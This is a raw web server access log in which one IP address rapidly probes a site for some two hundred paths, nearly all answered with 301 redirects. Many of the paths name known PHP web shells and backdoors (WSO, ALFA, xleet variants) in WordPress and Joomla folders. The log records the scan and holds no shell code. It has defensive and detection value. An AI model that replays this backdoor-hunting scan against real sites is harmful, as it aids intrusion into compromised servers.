[27/Apr/2025:10:31:32 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:33 -0400] "GET /zcoqCGrnVix.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:33 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:34 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:34 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:35 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:35 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:36 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:37 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:37 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:38 -0400] "GET /wp-includes/css/dist/components/nomox.php.suspected HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:38 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:39 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:39 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:40 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:40 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:41 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:42 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:42 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:43 -0400] "GET /wp/wp-admin/includes/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:43 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:44 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:44 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:45 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:45 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:46 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:47 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:47 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:48 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:48 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:49 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:49 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:50 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:50 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:51 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:52 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:52 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:53 -0400] "GET /wp/wp-content/themes/f6pe9wcj/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:53 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:54 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:54 -0400] "GET /ulc2.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:55 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:55 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:56 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:56 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:57 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:57 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:58 -0400] "GET /wordpress/wp-content/plugins/sdxxcfgt/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:59 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:31:59 -0400] "GET /images/wp-ok.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:00 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:00 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:01 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:02 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:02 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:03 -0400] "GET /file_browser.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:03 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:04 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:04 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:05 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:05 -0400] "GET /.well-known/awraulub.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:06 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:07 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:07 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:08 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:08 -0400] "GET /wp-content//autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:09 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:09 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:10 -0400] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:10 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:11 -0400] "GET /css/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:11 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:12 -0400] "GET /wp-admin/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:12 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:13 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:14 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:14 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:15 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:15 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:16 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:16 -0400] "GET /.well-known/bqdoemhl.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:17 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:17 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:18 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:18 -0400] "GET /MYK4TJEfFvO.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:19 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:20 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:20 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:21 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:21 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:22 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:22 -0400] "GET /.well-known/ktlldmmx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:23 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:23 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:24 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:24 -0400] "GET /wp-admin/29rc7ExgS6p.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:25 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:26 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:26 -0400] "GET /wp-content/themes/config HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:27 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:27 -0400] "GET /ab1ux1ft.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:28 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:28 -0400] "GET /about.php?dir=/home/tvfuazjx/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:29 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:29 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:30 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:31 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:31 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:32 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:32 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:33 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:33 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:34 -0400] "GET /temp.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:34 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:35 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:35 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:36 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:36 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:37 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:37 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:38 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:39 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:39 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:40 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:40 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:41 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:41 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:42 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:42 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:43 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:43 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:44 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:45 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:45 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:46 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:46 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:47 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:47 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:48 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:48 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:49 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:49 -0400] "GET /source.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:50 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:50 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:51 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:52 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:52 -0400] "GET /about.PHP HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:53 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:53 -0400] "GET /login/files.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:54 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:54 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:55 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:55 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:56 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:56 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:57 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:57 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:58 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:59 -0400] "GET /wp-content/plugins/ubh/1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:32:59 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:00 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:00 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:01 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:01 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:02 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:02 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:03 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:03 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:04 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:05 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:05 -0400] "GET /mail_logs.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:06 -0400] "GET /.well-known/eror.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:06 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:07 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:08 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:08 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:09 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:09 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:10 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:10 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:11 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:11 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:12 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:12 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:13 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:14 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:14 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:15 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:15 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:16 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:16 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:17 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:17 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:18 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:19 -0400] "GET /wp-content/themes/seotheme/custom-plugin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:19 -0400] "GET /wp-admin/css/colors/HaUaphPh.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:20 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:20 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:21 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:21 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:22 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:22 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:23 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:24 -0400] "GET /wp-content/themes/bltm/ HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:24 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:25 -0400] "GET /wp-admin/js/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:25 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:26 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:26 -0400] "GET /makeasmtp.php/payment.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:27 -0400] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:28 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:28 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:29 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:29 -0400] "GET /e69ovfsr.php/install.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:30 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:30 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:31 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:31 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:32 -0400] "GET /wp-includes/assets/plugins.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:32 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:33 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:33 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:34 -0400] "GET /wp-content/plugins/fix/sxo.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:35 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:35 -0400] "GET /.well-known/zwso.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:36 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:36 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:37 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:37 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 40.113.18.139 - - [27/Apr/2025:10:33:38 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 